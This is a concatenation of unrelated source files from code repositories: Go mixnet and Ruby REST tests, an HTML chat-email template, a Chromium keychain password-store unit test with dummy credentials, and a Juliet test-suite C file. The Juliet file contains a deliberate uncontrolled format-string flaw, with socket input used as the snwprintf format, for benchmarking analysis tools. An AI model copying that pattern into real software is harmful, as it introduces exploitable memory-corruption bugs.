encMessage, nextaddress, err := clientHeader.NewRelayMessage(NymAddress, testMessage) if err != nil { t.Fatalf("NewRelayMessage: %s", err) } if nextaddress != mixAddress { t.Error("Bad NextHop") } receiveData, err := ReceiveMessage(kl.GetPrivateKey, encMessage) if err != nil { t.Fatalf("ReceiveMessage: %s", err) } if len(receiveData.UniqueTest) != 2 { t.Error("SingleUse nymaddress, exactly two uniquetests necessary") } if !bytes.Equal(receiveData.Message, testMessage) { t.Error("Messages dont match") } if !bytes.Equal(receiveData.MixHeader.Token, clientHeader.Token) { t.Error("Tokens dont match") } if receiveData.MixHeader.SenderMaxDelay != clientHeader.SenderMaxDelay { t.Error("Max delay does not match") } if receiveData.MixHeader.SenderMinDelay != clientHeader.SenderMinDelay { t.Error("Min delay does not match") } newMessage, nextaddress, err := receiveData.Send() if err != nil { t.Fatalf("Send-Along: %s", err) } if nextaddress != "[email protected]" { t.Error("Bad address expansion") } decMessage, nym, err := ReceiveFromMix(addressTemplate, []byte(recAddress), newMessage) if err != nil { t.Fatalf("ReceiveFromMix: %s", err) } if !bytes.Equal(nym, pseudoHash[:]) { t.Error("Nyms do not match") } if !bytes.Equal(decMessage, testMessage) { t.Error("Message decryption failed") } }
bsd-3-clause
aina1205/virtualliverf1
test/rest_test_cases.rb
1407
#mixin to automate testing of Rest services per controller test require 'libxml' require 'pp' module RestTestCases SCHEMA_FILE_PATH = File.join(Rails.root, 'public', '2010', 'xml', 'rest', 'schema-v1.xsd') def test_index_rest_api_xml #to make sure something in the database is created object=rest_api_test_object get :index, :format=>"xml" perform_api_checks end def test_get_rest_api_xml object=rest_api_test_object get :show,:id=>object, :format=>"xml" perform_api_checks end def perform_api_checks assert_response :success valid,message = check_xml assert valid,message validate_xml_against_schema(@response.body) end def check_xml assert_equal 'application/xml', @response.content_type [email protected] return false,"XML is nil" if xml.nil? return true,"" end def validate_xml_against_schema(xml,schema=SCHEMA_FILE_PATH) document = LibXML::XML::Document.string(xml) schema = LibXML::XML::Schema.new(schema) result = true begin document.validate_schema(schema) rescue LibXML::XML::Error => e result = false assert false,"Error validating against schema: #{e.message}" end return result end def display_xml xml x=1 xml.split("\n").each do |line| puts "#{x} #{line}" x=x+1 end end end
bsd-3-clause
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE134_Uncontrolled_Format_String/s03/CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_snprintf_54e.c
2572
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_snprintf_54e.c Label Definition File: CWE134_Uncontrolled_Format_String.label.xml Template File: sources-sinks-54e.tmpl.c */ /* * @description * CWE: 134 Uncontrolled Format String * BadSource: connect_socket Read data using a connect socket (client side) * GoodSource: Copy a fixed string into data * Sinks: swprintf * GoodSink: snwprintf with "%s" as the third argument and data as the fourth * BadSink : snwprintf with data as the third argument * Flow Variant: 54 Data flow: data passed as an argument from one function through three others to a fifth; all five functions are in different source files * * */ #include "std_testcase.h" #ifndef _WIN32 #include <wchar.h> #endif #ifdef _WIN32 #include <winsock2.h> #include <windows.h> #include <direct.h> #pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */ #define CLOSE_SOCKET closesocket #else /* NOT _WIN32 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define CLOSE_SOCKET close #define SOCKET int #endif #define TCP_PORT 27015 #define IP_ADDRESS "127.0.0.1" #ifdef _WIN32 #define SNPRINTF _snwprintf #else #define SNPRINTF swprintf #endif #ifndef OMITBAD void CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_snprintf_54e_badSink(wchar_t * data) { { wchar_t dest[100] = L""; /* POTENTIAL FLAW: Do not specify the format allowing a possible format string vulnerability */ SNPRINTF(dest, 100-1, data); printWLine(dest); } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B uses the GoodSource with the BadSink */ void CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_snprintf_54e_goodG2BSink(wchar_t * data) { { wchar_t dest[100] = L""; /* POTENTIAL FLAW: Do not specify the format allowing a possible format string vulnerability */ SNPRINTF(dest, 100-1, data); printWLine(dest); } } /* goodB2G uses the BadSource with the GoodSink */ void CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_snprintf_54e_goodB2GSink(wchar_t * data) { { wchar_t dest[100] = L""; /* FIX: Specify the format disallowing a format string vulnerability */ SNPRINTF(dest, 100-1, L"%s", data); printWLine(dest); } } #endif /* OMITGOOD */
bsd-3-clause
uuchat/uuchat
src/server/template/message_reply_email.html
4968
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> <style type="text/css"> .uu-email-message{ padding: 20px; background-color: rgba(0, 0, 0, 0.1); } .fl{ display: inline-block; float:left; } .fr{ display: inline-block; float:right; } .message-body{ max-width: 750px; width: 100%; height:auto; margin:0 auto; padding: 10px; border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 3px; box-shadow: 0 0 5px 1px rgba(0, 0, 0, 0.1); background-color: #fff; } .message-lists .message-item{ margin: 10px 0; overflow: hidden; } .message-lists::-webkit-scrollbar{ display: none; } .message-lists .message-item:hover .short-item-setting{ display: block; } .message-lists .message-item p{ margin: 0; padding: 0; font-size: 12px; } .message-lists .message-item .msg-time-0, .message-lists .message-item .msg-time-1, .message-lists .message-item .msg-time-2, .message-lists .message-item .msg-time-3, .message-lists .message-item .msg-time-4{ line-height: 15px; color: #ccc; } .message-lists .message-item .msg-time-0, .message-lists .message-item .msg-time-4{ padding-left: 40px; } .message-lists .message-item .msg-time-1, .message-lists .message-item .msg-time-2, .message-lists .message-item .msg-time-3 { padding-right: 40px; text-align: right; } .message-lists .message-item img{ max-width: 100%; border-radius: 3px; vertical-align: middle; } .message-lists .message-avatar{ display: inline-block; width: 30px; height: 30px; } .message-lists .avatar-color{ width: 30px; height: 30px; line-height: 30px; color: #fff; font-size: 18px; text-align: center; border-radius: 100%; } .message-lists .message-avatar.fl{ margin-right: 10px; } .message-lists .message-avatar.fr{ margin-left: 10px; box-shadow: 0px 0px 1px 1px #ccc; border-radius: 100%; } .message-lists .message-avatar img{ width: 100%; height: 100%; border-radius: 100%; } .message-lists .message-content{ padding: 8px 10px; max-width: 460px; background-color: #f3f3f3; border-radius: 3px; font-size: 14px; line-height: 18px; word-break: break-all; -webkit-transition: background-color 0.8s linear; transition: background-color 0.8s linear; } .message-lists .message-content.done { background-color: #edf9ff; } .message-lists .message-content.user-id { background-color: #3498db; color: #fff; } </style> </head> <body> <div class="uu-email-message"> <div class="message-body"> <div class="message-lists"> <% var imgReg = /^content\/upload\//g, str=''; messages.forEach(function(item){ %> <div class="message-item"> <p class='msg-time-<%=item.type %>'><%=item.createdAt %></p> <div class="message-avatar <%=(item.type===0||item.type===4)?'fl':'fr' %>"> <img src="https://uuchat.io/static/images/contact.png" alt="avatar" title="avatar" /> </div> <div class="message-content <%=(item.type===0||item.type===4)?'fl':'fr' %>"> <% if (imgReg.test(item.msg)) { var msg = item.msg.split('|'); str = '<a href="'+relativeUrl+msg[1]+'" target="_blank"><img width="'+msg[2]+'" height="'+msg[3]+'" src="'+relativeUrl+msg[0]+'" alt="" /></a>'; } else { str = item.msg.replace(/#/gi, "<br />").replace(/((https?|ftp|file|http):\/\/[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*)/g, function (match) { return '<a href="' + match + '" target="_blank">' + match + '</a>'; }); } %> <div><%-str %></div> </div> </div> <% }) %> </div> </div> </div> </body> <script type="text/javascript"> </script> </html>
bsd-3-clause
patrickm/chromium.src
chrome/browser/password_manager/password_store_mac_unittest.cc
53108
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" #include "base/basictypes.h" #include "base/files/scoped_temp_dir.h" #include "base/path_service.h" #include "base/stl_util.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "chrome/browser/password_manager/password_store_mac.h" #include "chrome/browser/password_manager/password_store_mac_internal.h" #include "chrome/common/chrome_paths.h" #include "components/password_manager/core/browser/password_store_consumer.h" #include "content/public/test/test_browser_thread.h" #include "crypto/mock_apple_keychain.h" using autofill::PasswordForm; using base::ASCIIToUTF16; using base::WideToUTF16; using content::BrowserThread; using crypto::MockAppleKeychain; using internal_keychain_helpers::FormsMatchForMerge; using internal_keychain_helpers::STRICT_FORM_MATCH; using testing::_; using testing::DoAll; using testing::Invoke; using testing::WithArg; namespace { class MockPasswordStoreConsumer : public PasswordStoreConsumer { public: MOCK_METHOD1(OnGetPasswordStoreResults, void(const std::vector<autofill::PasswordForm*>&)); void CopyElements(const std::vector<autofill::PasswordForm*>& forms) { last_result.clear(); for (size_t i = 0; i < forms.size(); ++i) { last_result.push_back(*forms[i]); } } std::vector<PasswordForm> last_result; }; ACTION(STLDeleteElements0) { STLDeleteContainerPointers(arg0.begin(), arg0.end()); } ACTION(QuitUIMessageLoop) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); base::MessageLoop::current()->Quit(); } class TestPasswordStoreMac : public PasswordStoreMac { public: TestPasswordStoreMac( scoped_refptr<base::SingleThreadTaskRunner> main_thread_runner, scoped_refptr<base::SingleThreadTaskRunner> db_thread_runner, crypto::AppleKeychain* keychain, LoginDatabase* login_db) : PasswordStoreMac(main_thread_runner, db_thread_runner, keychain, login_db) { } using PasswordStoreMac::GetBackgroundTaskRunner; private: virtual ~TestPasswordStoreMac() {} DISALLOW_COPY_AND_ASSIGN(TestPasswordStoreMac); }; } // namespace #pragma mark - class PasswordStoreMacInternalsTest : public testing::Test { public: virtual void SetUp() { MockAppleKeychain::KeychainTestData test_data[] = { // Basic HTML form. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20020601171500Z", "joe_user", "sekrit", false }, // HTML form with path. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "19991231235959Z", "joe_user", "sekrit", false }, // Secure HTML form with path. { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTPS, "/secure.html", 0, NULL, "20100908070605Z", "secure_user", "password", false }, // True negative item. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20000101000000Z", "", "", true }, // De-facto negative item, type one. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20000101000000Z", "Password Not Stored", "", false }, // De-facto negative item, type two. { kSecAuthenticationTypeHTMLForm, "dont.remember.com", kSecProtocolTypeHTTPS, NULL, 0, NULL, "20000101000000Z", "Password Not Stored", " ", false }, // HTTP auth basic, with port and path. { kSecAuthenticationTypeHTTPBasic, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 4567, "low_security", "19980330100000Z", "basic_auth_user", "basic", false }, // HTTP auth digest, secure. { kSecAuthenticationTypeHTTPDigest, "some.domain.com", kSecProtocolTypeHTTPS, NULL, 0, "high_security", "19980330100000Z", "digest_auth_user", "digest", false }, // An FTP password with an invalid date, for edge-case testing. { kSecAuthenticationTypeDefault, "a.server.com", kSecProtocolTypeFTP, NULL, 0, NULL, "20010203040", "abc", "123", false }, }; keychain_ = new MockAppleKeychain(); for (unsigned int i = 0; i < arraysize(test_data); ++i) { keychain_->AddTestItem(test_data[i]); } } virtual void TearDown() { ExpectCreatesAndFreesBalanced(); ExpectCreatorCodesSet(); delete keychain_; } protected: // Causes a test failure unless everything returned from keychain_'s // ItemCopyAttributesAndData, SearchCreateFromAttributes, and SearchCopyNext // was correctly freed. void ExpectCreatesAndFreesBalanced() { EXPECT_EQ(0, keychain_->UnfreedSearchCount()); EXPECT_EQ(0, keychain_->UnfreedKeychainItemCount()); EXPECT_EQ(0, keychain_->UnfreedAttributeDataCount()); } // Causes a test failure unless any Keychain items added during the test have // their creator code set. void ExpectCreatorCodesSet() { EXPECT_TRUE(keychain_->CreatorCodesSetForAddedItems()); } MockAppleKeychain* keychain_; }; #pragma mark - // Struct used for creation of PasswordForms from static arrays of data. struct PasswordFormData { const PasswordForm::Scheme scheme; const char* signon_realm; const char* origin; const char* action; const wchar_t* submit_element; const wchar_t* username_element; const wchar_t* password_element; const wchar_t* username_value; // Set to NULL for a blacklist entry. const wchar_t* password_value; const bool preferred; const bool ssl_valid; const double creation_time; }; // Creates and returns a new PasswordForm built from form_data. Caller is // responsible for deleting the object when finished with it. static PasswordForm* CreatePasswordFormFromData( const PasswordFormData& form_data) { PasswordForm* form = new PasswordForm(); form->scheme = form_data.scheme; form->preferred = form_data.preferred; form->ssl_valid = form_data.ssl_valid; form->date_created = base::Time::FromDoubleT(form_data.creation_time); if (form_data.signon_realm) form->signon_realm = std::string(form_data.signon_realm); if (form_data.origin) form->origin = GURL(form_data.origin); if (form_data.action) form->action = GURL(form_data.action); if (form_data.submit_element) form->submit_element = WideToUTF16(form_data.submit_element); if (form_data.username_element) form->username_element = WideToUTF16(form_data.username_element); if (form_data.password_element) form->password_element = WideToUTF16(form_data.password_element); if (form_data.username_value) { form->username_value = WideToUTF16(form_data.username_value); if (form_data.password_value) form->password_value = WideToUTF16(form_data.password_value); } else { form->blacklisted_by_user = true; } return form; } // Macro to simplify calling CheckFormsAgainstExpectations with a useful label. #define CHECK_FORMS(forms, expectations, i) \ CheckFormsAgainstExpectations(forms, expectations, #forms, i) // Ensures that the data in |forms| match |expectations|, causing test failures // for any discrepencies. // TODO(stuartmorgan): This is current order-dependent; ideally it shouldn't // matter if |forms| and |expectations| are scrambled. static void CheckFormsAgainstExpectations( const std::vector<PasswordForm*>& forms, const std::vector<PasswordFormData*>& expectations, const char* forms_label, unsigned int test_number) { const unsigned int kBufferSize = 128; char test_label[kBufferSize]; snprintf(test_label, kBufferSize, "%s in test %u", forms_label, test_number); EXPECT_EQ(expectations.size(), forms.size()) << test_label; if (expectations.size() != forms.size()) return; for (unsigned int i = 0; i < expectations.size(); ++i) { snprintf(test_label, kBufferSize, "%s in test %u, item %u", forms_label, test_number, i); PasswordForm* form = forms[i]; PasswordFormData* expectation = expectations[i]; EXPECT_EQ(expectation->scheme, form->scheme) << test_label; EXPECT_EQ(std::string(expectation->signon_realm), form->signon_realm) << test_label; EXPECT_EQ(GURL(expectation->origin), form->origin) << test_label; EXPECT_EQ(GURL(expectation->action), form->action) << test_label; EXPECT_EQ(WideToUTF16(expectation->submit_element), form->submit_element) << test_label; EXPECT_EQ(WideToUTF16(expectation->username_element), form->username_element) << test_label; EXPECT_EQ(WideToUTF16(expectation->password_element), form->password_element) << test_label; if (expectation->username_value) { EXPECT_EQ(WideToUTF16(expectation->username_value), form->username_value) << test_label; EXPECT_EQ(WideToUTF16(expectation->password_value), form->password_value) << test_label; } else { EXPECT_TRUE(form->blacklisted_by_user) << test_label; } EXPECT_EQ(expectation->preferred, form->preferred) << test_label; EXPECT_EQ(expectation->ssl_valid, form->ssl_valid) << test_label; EXPECT_DOUBLE_EQ(expectation->creation_time, form->date_created.ToDoubleT()) << test_label; } } #pragma mark - TEST_F(PasswordStoreMacInternalsTest, TestKeychainToFormTranslation) { typedef struct { const PasswordForm::Scheme scheme; const char* signon_realm; const char* origin; const wchar_t* username; // Set to NULL to check for a blacklist entry. const wchar_t* password; const bool ssl_valid; const int creation_year; const int creation_month; const int creation_day; const int creation_hour; const int creation_minute; const int creation_second; } TestExpectations; TestExpectations expected[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/", L"joe_user", L"sekrit", false, 2002, 6, 1, 17, 15, 0 }, { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", L"joe_user", L"sekrit", false, 1999, 12, 31, 23, 59, 59 }, { PasswordForm::SCHEME_HTML, "https://some.domain.com/", "https://some.domain.com/secure.html", L"secure_user", L"password", true, 2010, 9, 8, 7, 6, 5 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", NULL, NULL, false, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", NULL, NULL, false, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_HTML, "https://dont.remember.com/", "https://dont.remember.com/", NULL, NULL, true, 2000, 1, 1, 0, 0, 0 }, { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", "http://some.domain.com:4567/insecure.html", L"basic_auth_user", L"basic", false, 1998, 03, 30, 10, 00, 00 }, { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", "https://some.domain.com/", L"digest_auth_user", L"digest", true, 1998, 3, 30, 10, 0, 0 }, // This one gives us an invalid date, which we will treat as a "NULL" date // which is 1601. { PasswordForm::SCHEME_OTHER, "http://a.server.com/", "http://a.server.com/", L"abc", L"123", false, 1601, 1, 1, 0, 0, 0 }, }; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(expected); ++i) { // Create our fake KeychainItemRef; see MockAppleKeychain docs. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(i + 1); PasswordForm form; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form, true); EXPECT_TRUE(parsed) << "In iteration " << i; EXPECT_EQ(expected[i].scheme, form.scheme) << "In iteration " << i; EXPECT_EQ(GURL(expected[i].origin), form.origin) << "In iteration " << i; EXPECT_EQ(expected[i].ssl_valid, form.ssl_valid) << "In iteration " << i; EXPECT_EQ(std::string(expected[i].signon_realm), form.signon_realm) << "In iteration " << i; if (expected[i].username) { EXPECT_EQ(WideToUTF16(expected[i].username), form.username_value) << "In iteration " << i; EXPECT_EQ(WideToUTF16(expected[i].password), form.password_value) << "In iteration " << i; EXPECT_FALSE(form.blacklisted_by_user) << "In iteration " << i; } else { EXPECT_TRUE(form.blacklisted_by_user) << "In iteration " << i; } base::Time::Exploded exploded_time; form.date_created.UTCExplode(&exploded_time); EXPECT_EQ(expected[i].creation_year, exploded_time.year) << "In iteration " << i; EXPECT_EQ(expected[i].creation_month, exploded_time.month) << "In iteration " << i; EXPECT_EQ(expected[i].creation_day, exploded_time.day_of_month) << "In iteration " << i; EXPECT_EQ(expected[i].creation_hour, exploded_time.hour) << "In iteration " << i; EXPECT_EQ(expected[i].creation_minute, exploded_time.minute) << "In iteration " << i; EXPECT_EQ(expected[i].creation_second, exploded_time.second) << "In iteration " << i; } { // Use an invalid ref, to make sure errors are reported. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(99); PasswordForm form; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form, true); EXPECT_FALSE(parsed); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainSearch) { struct TestDataAndExpectation { const PasswordFormData data; const size_t expected_fill_matches; const size_t expected_merge_matches; }; // Most fields are left blank because we don't care about them for searching. TestDataAndExpectation test_data[] = { // An HTML form we've seen. { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 }, 2, 2 }, { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, false, 0 }, 2, 0 }, // An HTML form we haven't seen { { PasswordForm::SCHEME_HTML, "http://www.unseendomain.com/", NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 }, 0, 0 }, // Basic auth that should match. { { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false, 0 }, 1, 1 }, // Basic auth with the wrong port. { { PasswordForm::SCHEME_BASIC, "http://some.domain.com:1111/low_security", NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false, 0 }, 0, 0 }, // Digest auth we've saved under https, visited with http. { { PasswordForm::SCHEME_DIGEST, "http://some.domain.com/high_security", NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, false, 0 }, 0, 0 }, // Digest auth that should match. { { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, true, 0 }, 1, 0 }, // Digest auth with the wrong domain. { { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/other_domain", NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, true, 0 }, 0, 0 }, // Garbage forms should have no matches. { { PasswordForm::SCHEME_HTML, "foo/bar/baz", NULL, NULL, NULL, NULL, NULL, NULL, NULL, false, false, 0 }, 0, 0 }, }; MacKeychainPasswordFormAdapter keychain_adapter(keychain_); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> query_form( CreatePasswordFormFromData(test_data[i].data)); // Check matches treating the form as a fill target. std::vector<PasswordForm*> matching_items = keychain_adapter.PasswordsFillingForm(query_form->signon_realm, query_form->scheme); EXPECT_EQ(test_data[i].expected_fill_matches, matching_items.size()); STLDeleteElements(&matching_items); // Check matches treating the form as a merging target. EXPECT_EQ(test_data[i].expected_merge_matches > 0, keychain_adapter.HasPasswordsMergeableWithForm(*query_form)); std::vector<SecKeychainItemRef> keychain_items; std::vector<internal_keychain_helpers::ItemFormPair> item_form_pairs = internal_keychain_helpers:: ExtractAllKeychainItemAttributesIntoPasswordForms(&keychain_items, *keychain_); matching_items = internal_keychain_helpers::ExtractPasswordsMergeableWithForm( *keychain_, item_form_pairs, *query_form); EXPECT_EQ(test_data[i].expected_merge_matches, matching_items.size()); STLDeleteContainerPairSecondPointers(item_form_pairs.begin(), item_form_pairs.end()); for (std::vector<SecKeychainItemRef>::iterator i = keychain_items.begin(); i != keychain_items.end(); ++i) { keychain_->Free(*i); } STLDeleteElements(&matching_items); // None of the pre-seeded items are owned by us, so none should match an // owned-passwords-only search. matching_items = owned_keychain_adapter.PasswordsFillingForm( query_form->signon_realm, query_form->scheme); EXPECT_EQ(0U, matching_items.size()); STLDeleteElements(&matching_items); } } // Changes just the origin path of |form|. static void SetPasswordFormPath(PasswordForm* form, const char* path) { GURL::Replacements replacement; std::string new_value(path); replacement.SetPathStr(new_value); form->origin = form->origin.ReplaceComponents(replacement); } // Changes just the signon_realm port of |form|. static void SetPasswordFormPort(PasswordForm* form, const char* port) { GURL::Replacements replacement; std::string new_value(port); replacement.SetPortStr(new_value); GURL signon_gurl = GURL(form->signon_realm); form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec(); } // Changes just the signon_ream auth realm of |form|. static void SetPasswordFormRealm(PasswordForm* form, const char* realm) { GURL::Replacements replacement; std::string new_value(realm); replacement.SetPathStr(new_value); GURL signon_gurl = GURL(form->signon_realm); form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec(); } TEST_F(PasswordStoreMacInternalsTest, TestKeychainExactSearch) { MacKeychainPasswordFormAdapter keychain_adapter(keychain_); PasswordFormData base_form_data[] = { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", NULL, true, false, 0 }, { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security", "http://some.domain.com:4567/insecure.html", NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, true, false, 0 }, { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security", "https://some.domain.com", NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, true, true, 0 }, }; for (unsigned int i = 0; i < arraysize(base_form_data); ++i) { // Create a base form and make sure we find a match. scoped_ptr<PasswordForm> base_form(CreatePasswordFormFromData( base_form_data[i])); EXPECT_TRUE(keychain_adapter.HasPasswordsMergeableWithForm(*base_form)); PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*base_form); EXPECT_TRUE(match != NULL); if (match) { EXPECT_EQ(base_form->scheme, match->scheme); EXPECT_EQ(base_form->origin, match->origin); EXPECT_EQ(base_form->username_value, match->username_value); delete match; } // Make sure that the matching isn't looser than it should be by checking // that slightly altered forms don't match. std::vector<PasswordForm*> modified_forms; modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->username_value = ASCIIToUTF16("wrong_user"); modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormPath(modified_forms.back(), "elsewhere.html"); modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->scheme = PasswordForm::SCHEME_OTHER; modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormPort(modified_forms.back(), "1234"); modified_forms.push_back(new PasswordForm(*base_form)); modified_forms.back()->blacklisted_by_user = true; if (base_form->scheme == PasswordForm::SCHEME_BASIC || base_form->scheme == PasswordForm::SCHEME_DIGEST) { modified_forms.push_back(new PasswordForm(*base_form)); SetPasswordFormRealm(modified_forms.back(), "incorrect"); } for (unsigned int j = 0; j < modified_forms.size(); ++j) { PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*modified_forms[j]); EXPECT_EQ(NULL, match) << "In modified version " << j << " of base form " << i; } STLDeleteElements(&modified_forms); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainAdd) { struct TestDataAndExpectation { PasswordFormData data; bool should_succeed; }; TestDataAndExpectation test_data[] = { // Test a variety of scheme/port/protocol/path variations. { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, true }, { { PasswordForm::SCHEME_HTML, "https://web.site.com/", "https://web.site.com/", NULL, NULL, NULL, NULL, L"admin", L"p4ssw0rd", false, false, 0 }, true }, { { PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm", "http://a.site.com:2222/", NULL, NULL, NULL, NULL, L"username", L"password", false, false, 0 }, true }, { { PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm", "https://digest.site.com/secure.html", NULL, NULL, NULL, NULL, L"testname", L"testpass", false, false, 0 }, true }, // Make sure that garbage forms are rejected. { { PasswordForm::SCHEME_HTML, "gobbledygook", "gobbledygook", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, false }, // Test that failing to update a duplicate (forced using the magic failure // password; see MockAppleKeychain::ItemModifyAttributesAndData) is // reported. { { PasswordForm::SCHEME_HTML, "http://some.domain.com", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", L"fail_me", false, false, 0 }, false }, }; MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> in_form( CreatePasswordFormFromData(test_data[i].data)); bool add_succeeded = owned_keychain_adapter.AddPassword(*in_form); EXPECT_EQ(test_data[i].should_succeed, add_succeeded); if (add_succeeded) { EXPECT_TRUE(owned_keychain_adapter.HasPasswordsMergeableWithForm( *in_form)); scoped_ptr<PasswordForm> out_form( owned_keychain_adapter.PasswordExactlyMatchingForm(*in_form)); EXPECT_TRUE(out_form.get() != NULL); EXPECT_EQ(out_form->scheme, in_form->scheme); EXPECT_EQ(out_form->signon_realm, in_form->signon_realm); EXPECT_EQ(out_form->origin, in_form->origin); EXPECT_EQ(out_form->username_value, in_form->username_value); EXPECT_EQ(out_form->password_value, in_form->password_value); } } // Test that adding duplicate item updates the existing item. { PasswordFormData data = { PasswordForm::SCHEME_HTML, "http://some.domain.com", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", L"updated_password", false, false, 0 }; scoped_ptr<PasswordForm> update_form(CreatePasswordFormFromData(data)); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); EXPECT_TRUE(keychain_adapter.AddPassword(*update_form)); SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(2); PasswordForm stored_form; internal_keychain_helpers::FillPasswordFormFromKeychainItem(*keychain_, keychain_item, &stored_form, true); EXPECT_EQ(update_form->password_value, stored_form.password_value); } } TEST_F(PasswordStoreMacInternalsTest, TestKeychainRemove) { struct TestDataAndExpectation { PasswordFormData data; bool should_succeed; }; TestDataAndExpectation test_data[] = { // Test deletion of an item that we add. { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, true }, // Make sure we don't delete items we don't own. { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL, L"joe_user", NULL, true, false, 0 }, false }, }; MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); // Add our test item so that we can delete it. PasswordForm* add_form = CreatePasswordFormFromData(test_data[0].data); EXPECT_TRUE(owned_keychain_adapter.AddPassword(*add_form)); delete add_form; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(test_data); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( test_data[i].data)); EXPECT_EQ(test_data[i].should_succeed, owned_keychain_adapter.RemovePassword(*form)); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); PasswordForm* match = keychain_adapter.PasswordExactlyMatchingForm(*form); EXPECT_EQ(test_data[i].should_succeed, match == NULL); if (match) { delete match; } } } 